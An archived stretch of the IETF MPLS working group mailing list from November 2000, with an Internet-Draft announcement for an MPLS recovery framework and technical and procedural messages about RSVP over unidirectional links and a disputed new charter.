Switching Working Group of the IETF. Title : Framework for MPLS-based Recovery Author(s) : V. Sharma et al. Filename : draft-ietf-mpls-recovery-frmwrk-01.txt Pages : 33 Date : 29-Nov-00 Multi-protocol label switching (MPLS) [1] integrates the label swapping forwarding paradigm with network layer routing. To deliver reliable service, MPLS requires a set of procedures to provide protection of the traffic carried on different paths. This requires that the label switched routers (LSRs) support fault detection, fault notification, and fault recovery mechanisms, and that MPLS signaling [2] [3] [4] [5] [6] support the configuration of recovery. With these objectives in mind, this document specifies a framework for MPLS based recovery. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-mpls-recovery-frmwrk-01.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-mpls-recovery-frmwrk-01.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-mpls-recovery-frmwrk-01.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20001129114528.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-mpls-recovery-frmwrk-01.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-mpls-recovery-frmwrk-01.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20001129114528.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-mpls@UU.NET Thu Nov 30 08:59:25 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA13595 for ; Thu, 30 Nov 2000 08:59:25 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrnz29942; Thu, 30 Nov 2000 13:56:56 GMT Received: by mail-control.mail.uu.net id QQjrnz28739 for mpls-outgoing; Thu, 30 Nov 2000 13:56:34 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrnz28728 for ; Thu, 30 Nov 2000 13:56:26 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrnz20306 for ; Thu, 30 Nov 2000 13:56:19 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrnz28971 for ; Thu, 30 Nov 2000 13:56:19 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id IAA14017 for mpls@uu.net; Thu, 30 Nov 2000 08:56:18 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrnz28682 for ; Thu, 30 Nov 2000 13:55:59 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjrnz14789 for ; Thu, 30 Nov 2000 13:54:30 GMT Received: from cvis29.marconicomms.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cvis29.marconicomms.com [195.99.244.61]) id QQjrnz26535 for ; Thu, 30 Nov 2000 13:54:29 GMT Received: from cvis01.gpt.co.uk (unverified) by cvis29.marconicomms.com (Content Technologies SMTPRS 4.1.5) with ESMTP id for ; Thu, 30 Nov 2000 13:54:23 +0000 Received: from marconicomms.com by cvis01.gpt.co.uk with SMTP (8.8.8+Sun/cvms-30) id NAA24763; Thu, 30 Nov 2000 13:54:22 GMT Received: by marconicomms.com(Lotus SMTP MTA v4.6.3 (733.2 10-16-1998)) id C12569A7.004C2114 ; Thu, 30 Nov 2000 14:51:32 +0100 X-Lotus-FromDomain: MCMAIN@MCEXT From: "Diego Caviglia" To: mpls@UU.NET Message-ID: Date: Thu, 30 Nov 2000 14:53:51 +0100 Subject: draft-yu-mpls-rsvp-oif-uni-00 Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-mpls@UU.NET Precedence: bulk Fong, I've seen that w.r.t. the OIF version of this draft a Lightpath ID object is introduced but in the message definition I can't find it. If it is not a mistake, could someone explain in wich message Lightpath ID must be inserted? Regards Diego. From owner-mpls@UU.NET Thu Nov 30 09:47:37 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA05142 for ; Thu, 30 Nov 2000 09:47:37 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjroc05302; Thu, 30 Nov 2000 14:43:47 GMT Received: by mail-control.mail.uu.net id QQjroc15508 for mpls-outgoing; Thu, 30 Nov 2000 14:43:22 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjroc15503 for ; Thu, 30 Nov 2000 14:43:20 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjroc06654 for ; Thu, 30 Nov 2000 14:42:41 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjroc00732 for ; Thu, 30 Nov 2000 14:42:41 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id JAA19226 for mpls@uu.net; Thu, 30 Nov 2000 09:42:40 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjroc15419 for ; Thu, 30 Nov 2000 14:42:04 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjroc21844 for ; Thu, 30 Nov 2000 14:41:50 GMT Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: funnel.cisco.com [161.44.131.24]) id QQjroc29512 for ; Thu, 30 Nov 2000 14:41:50 GMT Received: from lir.cisco.com (lir-hme1.cisco.com [171.69.209.57]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id JAA23360; Thu, 30 Nov 2000 09:41:46 -0500 (EST) Received: from localhost (swallow@localhost) by lir.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id JAA20900; Thu, 30 Nov 2000 09:41:46 -0500 (EST) Message-Id: <200011301441.JAA20900@lir.cisco.com> X-Authentication-Warning: lir.cisco.com: swallow owned process doing -bs To: Rob Coltun cc: George Swallow , vijay@cosinecom.com, oran@cisco.com, mpls@UU.NET Subject: Re: New MPLS Charter? In-reply-to: Your message of "Wed, 29 Nov 2000 19:08:13 PST." <3A25C49D.2DE3A0C2@redback.com> Date: Thu, 30 Nov 2000 09:41:45 -0500 From: George Swallow Sender: owner-mpls@UU.NET Precedence: bulk Rob - It would have been nice if someone had pointed it out to me. This goes further toward shutting down MPLS than anything we discussed in the past. If it is to be taken literally then *none* of the drafts into this meeting belong in MPLS. Please let us know how to proceed. ...George cc: mpls@uu.net ================================================================== George Swallow Cisco Systems (978) 244-8143 250 Apollo Drive Chelmsford, Ma 01824 From owner-mpls@UU.NET Thu Nov 30 10:03:39 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA11013 for ; Thu, 30 Nov 2000 10:03:39 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrod25019; Thu, 30 Nov 2000 14:59:56 GMT Received: by mail-control.mail.uu.net id QQjrod17140 for mpls-outgoing; Thu, 30 Nov 2000 14:59:24 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrod17129 for ; Thu, 30 Nov 2000 14:59:17 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrod21329 for ; Thu, 30 Nov 2000 14:57:47 GMT Received: from megapathdsl.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ns1.megapath.net [216.200.176.4]) id QQjrod17155 for ; Thu, 30 Nov 2000 14:57:46 GMT Received: from [208.202.21.22] (HELO kensington) by megapathdsl.net (CommuniGate Pro SMTP 3.3.2) with SMTP id 8550344; Thu, 30 Nov 2000 06:57:54 -0800 From: "Robert Schellhase" To: , "Nhat Thanh Hoang" , "eduard metz" Cc: Subject: RE: MPLS for UDLR Date: Thu, 30 Nov 2000 09:57:44 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 In-Reply-To: Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Thanks for the RSVP insights. They improve my overall understanding of what's happening. UDLR is supposed to fix the problem of receiving on one interface while sending on another, by combining the two physical paths into a single logical interface. So it sounds like we are saying that since MPLS uses RSVP to build its tunnels, but RSVP needs bi-directional interfaces to get its job done, and therein lies the problem. Am I reading this correctly? Does anyone else have thoughts, or a possible workaround idea? Best regards, Robert -----Original Message----- From: Alexander Marhold [mailto:Alexander.Marhold@proin.com] Sent: Thursday, November 30, 2000 2:07 AM To: Nhat Thanh Hoang; Alexander.Marhold@xandl.cso.net; eduard metz; rschell@megapathdsl.net Subject: RE: MPLS for UDLR > As I know RSVP for traffic engineering that uses in MPLS context is > unidirectional, which means you need to configure at least two > constraint-based LSPs (ingress--->egress and ingress<---egress), > if you want > a bidirectional path. > >> LSP is unidirectional, but RSVP is not, >> Sorry for not being clear enough: Of course you are right the tunnel which is set up by RSVP is unidirectional (this is what we tell RSVP when starting the RESV message). What I wanted to express is: That the messages itself, RSVP is sending forward (RESV) and backwards (PATH) to set up the path are assumed to go over the same links in forward and reverse direction. In the UDLR case those links forward and reverse are different. And I think that exactly that is the problem in the UDLR case. with best regards Alexander From owner-mpls@UU.NET Thu Nov 30 10:07:53 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA13103 for ; Thu, 30 Nov 2000 10:07:53 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjroe01538; Thu, 30 Nov 2000 15:04:01 GMT Received: by mail-control.mail.uu.net id QQjroe24299 for mpls-outgoing; Thu, 30 Nov 2000 15:03:27 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjroe24278 for ; Thu, 30 Nov 2000 15:03:18 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjroe05074 for ; Thu, 30 Nov 2000 15:02:35 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjroe29269 for ; Thu, 30 Nov 2000 15:02:34 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id KAA22170 for mpls@uu.net; Thu, 30 Nov 2000 10:02:34 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjroe22047 for ; Thu, 30 Nov 2000 15:01:54 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjroe02068 for ; Thu, 30 Nov 2000 15:01:32 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjroe01277 for ; Thu, 30 Nov 2000 15:01:31 GMT Received: from lir.cisco.com (lir-hme0.cisco.com [171.69.204.20]) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id KAA21964 for ; Thu, 30 Nov 2000 10:01:30 -0500 (EST) Received: from localhost (swallow@localhost) by lir.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id KAA25983 for ; Thu, 30 Nov 2000 10:01:30 -0500 (EST) Message-Id: <200011301501.KAA25983@lir.cisco.com> X-Authentication-Warning: lir.cisco.com: swallow owned process doing -bs To: mpls@UU.NET Subject: New MPLS charter Date: Thu, 30 Nov 2000 10:01:30 -0500 From: George Swallow Sender: owner-mpls@UU.NET Precedence: bulk As background to my last message... A new MPLS charter was posted on the IETF web site around Nov. 17th. This was crafted by the IESG without the consultation of the WG chairs. I only caught wind of it yesterday. Taken literally, all drafts into this meeting are outside the scope of MPLS. Our charter boils down to Shut Down! In view of this I will not be posting an agenda for MPLS. Rather I wait for word from our Area Directors. No one has been forthcoming about the politics which have led to this turn of events. All I get are sound bites like "there's a lot of stuff going on". ...George ====================================================================== George Swallow Cisco Systems (978) 244-8143 250 Apollo Drive Chelmsford, Ma 01824 From owner-mpls@UU.NET Thu Nov 30 10:50:49 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA01440 for ; Thu, 30 Nov 2000 10:50:48 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjroh28194; Thu, 30 Nov 2000 15:47:10 GMT Received: by mail-control.mail.uu.net id QQjroh04433 for mpls-outgoing; Thu, 30 Nov 2000 15:46:33 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjroh04399 for ; Thu, 30 Nov 2000 15:46:22 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjrog08821 for ; Thu, 30 Nov 2000 15:43:39 GMT Received: from mailhost.metro-optix.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [63.91.47.4]) id QQjrog28466 for ; Thu, 30 Nov 2000 15:43:39 GMT Received: by mailhost.metro-optix.com with Internet Mail Service (5.5.2650.21) id ; Thu, 30 Nov 2000 09:37:37 -0600 Message-ID: From: David Wang To: "'George Swallow'" , mpls@UU.NET Subject: RE: New MPLS charter Date: Thu, 30 Nov 2000 09:37:35 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk What is the name of the "new MPLS charter"? David -----Original Message----- From: George Swallow [mailto:swallow@cisco.com] Sent: Thursday, November 30, 2000 9:02 AM To: mpls@UU.NET Subject: New MPLS charter As background to my last message... A new MPLS charter was posted on the IETF web site around Nov. 17th. This was crafted by the IESG without the consultation of the WG chairs. I only caught wind of it yesterday. Taken literally, all drafts into this meeting are outside the scope of MPLS. Our charter boils down to Shut Down! In view of this I will not be posting an agenda for MPLS. Rather I wait for word from our Area Directors. No one has been forthcoming about the politics which have led to this turn of events. All I get are sound bites like "there's a lot of stuff going on". ...George ====================================================================== George Swallow Cisco Systems (978) 244-8143 250 Apollo Drive Chelmsford, Ma 01824 From owner-mpls@UU.NET Thu Nov 30 10:57:26 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA04386 for ; Thu, 30 Nov 2000 10:57:26 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjroh10236; Thu, 30 Nov 2000 15:51:50 GMT Received: by mail-control.mail.uu.net id QQjroh04878 for mpls-outgoing; Thu, 30 Nov 2000 15:51:18 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjroh04815 for ; Thu, 30 Nov 2000 15:51:02 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjroh26657 for ; Thu, 30 Nov 2000 15:49:32 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjroh06822 for ; Thu, 30 Nov 2000 15:49:32 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id KAA29021 for mpls@uu.net; Thu, 30 Nov 2000 10:49:31 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjroh04686 for ; Thu, 30 Nov 2000 15:49:07 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjroh24748 for ; Thu, 30 Nov 2000 15:48:55 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjroh05896 for ; Thu, 30 Nov 2000 15:48:54 GMT Received: from lir.cisco.com (lir-hme0.cisco.com [171.69.204.20]) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id KAA28868; Thu, 30 Nov 2000 10:48:53 -0500 (EST) Received: from localhost (swallow@localhost) by lir.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id KAA24406; Thu, 30 Nov 2000 10:48:52 -0500 (EST) Message-Id: <200011301548.KAA24406@lir.cisco.com> X-Authentication-Warning: lir.cisco.com: swallow owned process doing -bs To: David Wang cc: "'George Swallow'" , mpls@UU.NET, swallow@cisco.com Subject: Re: New MPLS charter In-reply-to: Your message of "Thu, 30 Nov 2000 09:37:35 CST." Date: Thu, 30 Nov 2000 10:48:52 -0500 From: George Swallow Sender: owner-mpls@UU.NET Precedence: bulk Just look at the workgroup listings. or more directly.. http://www.ietf.org/html.charters/mpls-charter.html ...George ================================================================== George Swallow Cisco Systems (978) 244-8143 250 Apollo Drive Chelmsford, Ma 01824 From owner-mpls@UU.NET Thu Nov 30 11:00:45 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA06046 for ; Thu, 30 Nov 2000 11:00:44 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjroh12788; Thu, 30 Nov 2000 15:56:54 GMT Received: by mail-control.mail.uu.net id QQjroh05360 for mpls-outgoing; Thu, 30 Nov 2000 15:56:22 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjroh05331 for ; Thu, 30 Nov 2000 15:56:07 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjroh04030 for ; Thu, 30 Nov 2000 15:56:03 GMT Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6]) id QQjroh18115 for ; Thu, 30 Nov 2000 15:55:43 GMT Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA14586 for ; Thu, 30 Nov 2000 10:55:41 -0500 (EST) Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA09522 for ; Thu, 30 Nov 2000 10:55:37 -0500 (EST) Message-ID: <3A2678AB.F95610CC@marconi.com> Date: Thu, 30 Nov 2000 10:56:27 -0500 From: David Charlap X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en-US,en-GB,en MIME-Version: 1.0 To: mpls@UU.NET Subject: Re: New MPLS charter References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit David Wang wrote: > > What is the name of the "new MPLS charter"? http://www.ietf.org/html.charters/mpls-charter.html -- David From owner-mpls@UU.NET Thu Nov 30 11:28:26 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA20802 for ; Thu, 30 Nov 2000 11:28:26 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjroj27492; Thu, 30 Nov 2000 16:24:45 GMT Received: by mail-control.mail.uu.net id QQjroj20960 for mpls-outgoing; Thu, 30 Nov 2000 16:24:12 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjroj20948 for ; Thu, 30 Nov 2000 16:24:07 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjroj25403 for ; Thu, 30 Nov 2000 16:18:58 GMT Received: from fncomr02.fnc.fujitsu.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: fncomr.fnc.fujitsu.com [167.254.105.20]) id QQjroj21119 for ; Thu, 30 Nov 2000 16:18:57 GMT Received: from rchsemx2.fnc.fujitsu.com (rchsemx2.fnc.fujitsu.com [167.254.105.13]) by fncomr02.fnc.fujitsu.com (Mirapoint) with ESMTP id AAY00389; Thu, 30 Nov 2000 10:18:55 -0600 (GMT+6) Received: by rchsemx2.fnc.fujitsu.com with Internet Mail Service (5.5.2650.21) id ; Thu, 30 Nov 2000 10:18:56 -0600 Message-ID: <988C6A018CC0D41197D90000F81AA34BCB6EA8@fnc03.fnc.fujitsu.com> From: "Dawkins, Spencer" To: mpls@UU.NET Subject: RE: New MPLS charter Date: Thu, 30 Nov 2000 10:18:48 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk Hi, George, I Would Have Thought that http://www.ietf.org/html.charters/mpls-charter.html item 3 covers GMPLS, and that this involved some additional work. I'm looking at "3. Document additional MPLS encapsulations to allow the operation of label-switched paths over additional lower-layer technologies, such as time-division (e.g. SONET ADMs), wavelength (optical lambdas) and spatial switching (e.g. incoming fiber to outgoing fiber). " Am I not reading the (new?) charter correctly? Spencer (who is also confused, just about different things) > -----Original Message----- > From: George Swallow [SMTP:swallow@cisco.com] > Sent: Thursday, November 30, 2000 9:02 AM > To: mpls@UU.NET > Subject: New MPLS charter > > As background to my last message... > > A new MPLS charter was posted on the IETF web site around Nov. 17th. > This was crafted by the IESG without the consultation of the WG chairs. > I only caught wind of it yesterday. Taken literally, all drafts into > this meeting are outside the scope of MPLS. Our charter boils down to > Shut Down! > > In view of this I will not be posting an agenda for MPLS. Rather I > wait for word from our Area Directors. > > No one has been forthcoming about the politics which have led to this > turn of events. All I get are sound bites like "there's a lot of > stuff going on". > > ...George From owner-mpls@UU.NET Thu Nov 30 12:01:10 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA05652 for ; Thu, 30 Nov 2000 12:01:09 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjrol18620; Thu, 30 Nov 2000 16:58:54 GMT Received: by mail-control.mail.uu.net id QQjrol24672 for mpls-outgoing; Thu, 30 Nov 2000 16:58:27 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjrol24666 for ; Thu, 30 Nov 2000 16:58:26 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrol15595 for ; Thu, 30 Nov 2000 16:56:06 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjrol10128 for ; Thu, 30 Nov 2000 16:56:05 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id LAA09517 for mpls@uu.net; Thu, 30 Nov 2000 11:56:04 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjrol24401 for ; Thu, 30 Nov 2000 16:55:45 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjrol21910 for ; Thu, 30 Nov 2000 16:52:46 GMT Received: from imchub1.cosinecom.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: imchub1.cosinecom.com [63.88.104.18]) id QQjrol04818 for ; Thu, 30 Nov 2000 16:52:45 GMT Received: by imchub1.cosinecom.com with Internet Mail Service (5.5.2650.21) id ; Thu, 30 Nov 2000 08:53:11 -0800 Message-ID: <04E4C688484FD41186E100D0B73EC6EF625C53@exchsrv2.cosinecom.com> From: Richard Basile To: "'mpls@uu.net'" Date: Thu, 30 Nov 2000 08:54:22 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk subscribe mpls Richard.Basile@cosinecom.com From owner-mpls@UU.NET Thu Nov 30 12:22:34 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA14807 for ; Thu, 30 Nov 2000 12:22:33 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjron20496; Thu, 30 Nov 2000 17:20:25 GMT Received: by mail-control.mail.uu.net id QQjron08781 for mpls-outgoing; Thu, 30 Nov 2000 17:19:58 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjron08772 for ; Thu, 30 Nov 2000 17:19:53 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjron21534 for ; Thu, 30 Nov 2000 17:18:11 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjron17187 for ; Thu, 30 Nov 2000 17:18:11 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id MAA12882 for mpls@uu.net; Thu, 30 Nov 2000 12:18:09 -0500 (EST) Received: from 